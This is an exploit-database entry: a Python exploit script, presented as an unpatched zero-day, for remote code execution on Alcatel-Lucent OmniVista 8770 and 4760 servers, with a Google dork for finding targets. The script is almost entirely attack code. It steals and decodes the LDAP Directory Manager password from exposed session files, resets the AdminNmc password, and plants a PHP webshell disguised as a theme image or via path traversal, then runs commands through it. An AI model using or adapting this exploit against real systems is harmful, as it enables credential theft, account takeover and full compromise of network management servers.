1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
# Exploit Title: Alcatel-Lucent Omnivista 8770 - Remote Code Execution # Google Dork: inurl:php-bin/webclient.php # Date: 2019-12-01 # Author: 0x1911 # Vendor Homepage: https://www.al-enterprise.com/ # Software Link: https://www.al-enterprise.com/en/products/communications-management-security/omnivista-8770-network-management-system # Version: All versions, still unpatched # Tested on: Windows 2003/2008 # CVE : 0day # Exploit attached, also available here https://git.lsd.cat/g/omnivista-rce/src/master/omnivista.py # Full writeup at https://git.lsd.cat/g/omnivista-rce/src/master/README.md ''' Original url: https://git.lsd.cat/g/omnivista-rce Website: https://lsd.cat ''' import requests import socket import ldap import sys from urllib.parse import urlparse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) class OmniVista: def __init__(self, host): self.host = host self.addr = (urlparse(self.host).hostname) self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/'] self.filename = "poc.php" self.webshell = "<?php system($_REQUEST[0]) ?>" def identify(self): r = requests.get(self.host + 'php-bin/Webclient.php', verify=False) if '8770' in r.text: return 8770 elif '4760' in r.text: return 4760 else: return False def checkldap(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) result = s.connect_ex((self.addr, 389)) if result == 0: return True def info(self): r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False) if 'PHP Version' in r.text: return r.text else: return False def getpassword(self): r = requests.get(self.host + 'php-bin/Webclient.php', verify=False) id = r.headers['Set-Cookie'].split(";")[0].split("=")[1] r = requests.get(self.host + 'sessions/sess_' + id, verify=False) lenght = int(r.text.split("ldapSuPass")[1][3:5]) password = r.text.split("ldapSuPass")[1][7:7+lenght] return password def decodepassword(self, password): counter = 0 key = 16 cleartext = "" if password[0:5] == "{NMC}": password = password[5:] else: return False for char in password: if 32 <= ord(char): char = chr(ord(char) ^ key) cleartext += char else: cleartext += char if ord(char) != 0: key = counter * ord(char) % 255 >> 3 else: key = 16 counter += 1 return cleartext def connectldap(self): connect = ldap.initialize('ldap://' + self.addr) connect.set_option(ldap.OPT_REFERRALS, 0) connect.simple_bind_s(self.username, self.password) result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)') print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0])) self.bind = connect return True def editadminpassword(self): self.adminusername = "AdminNmc" self.adminpassword = "Lsdcat_exploit1!" self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )]) return True def login(self): self.session = requests.session() r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False) if 'Directory license is required!' in r.text: return False else: return True def exploit8770(self): r = self.session.get(self.host + 'php-bin/webclient.php', params = {'action': 'editTheme', 'themeId': "2"}, verify=False) r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "saveTheme", "themeId": "2"}, files = { "BgImg1": (self.filename, self.webshell, "image/png")}, verify = False) if 'success' in r.text: return True def exec8770(self): return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text def exploit4760(self): for folder in self.folders: r = requests.post(self.host + 'php-bin/webclient.php', data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""}, files = { "BgImg1": (self.filename, self.webshell, "image/png")}, verify=False) if 'success' in r.text: self.folder = folder return True def exec4760(self, cmd): return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text def autoexploit(self): print('[*] Attempting to exploit on {}'.format(self.host)) self.model = self.identify() if self.model == 4760: print('[*] Model is {}'.format(str(self.model))) self.exploit4760() print('[*] Upload folder is {}'.format(self.folder)) output = self.exec4760("whoami") print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename)) print('[*] Command output: '.format(output)) elif self.model == 8770: print('[*] Model is {}'.format(str(self.model))) self.username = "cn=Directory Manager" self.password = self.decodepassword(self.getpassword()) print('[*] {} password is "{}"'.format(self.username, self.password)) if self.checkldap(): print('[*] LDAP Service is accessible!') self.connectldap() print('[*] Changing AdminNmc password') self.editadminpassword() print('[*] Logging in') if self.login(): self.exploit8770() output = self.exec8770("whoami") print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename)) print('[*] Command output: '.format(output)) else: print("[x] Directory license not installed :/") return False else: print("[x] LDAP Service is not directly accessible") return False else: print("[x] Target is not an OmniVista 4760/8770") return False if len(sys.argv) != 2: print("Usage: ./omnivista.py http(s)://target.tld:port/") else: exploit = OmniVista(sys.argv[1]) exploit.autoexploit() |